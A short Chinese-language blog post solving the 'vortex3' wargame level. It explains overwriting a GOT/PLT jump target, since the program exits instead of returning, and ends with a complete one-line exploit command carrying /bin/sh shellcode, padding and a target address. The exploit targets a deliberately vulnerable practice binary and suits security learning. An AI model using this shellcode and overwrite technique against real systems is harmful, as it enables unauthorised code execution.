vortex3

Posted by rk700 on July 8, 2014

这道题用的是exit,所以不能通过修改返回地址来做了

但从提示也可以看出要修改got之类的。具体看反汇编的代码,最后exit是call 0x8048320,进去看,那里是jmp *0x08049738。我们可以修改0x08049738处的值为buf, 再将shellcode放在buffer里即可

具体地,地址0x08049738保存在0x08048322处,而buf与lpp相距132。故

$ /vortex/vortex3 `perl -e 'print "\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "A"x107 . "\x22\x83\x04\x08"'`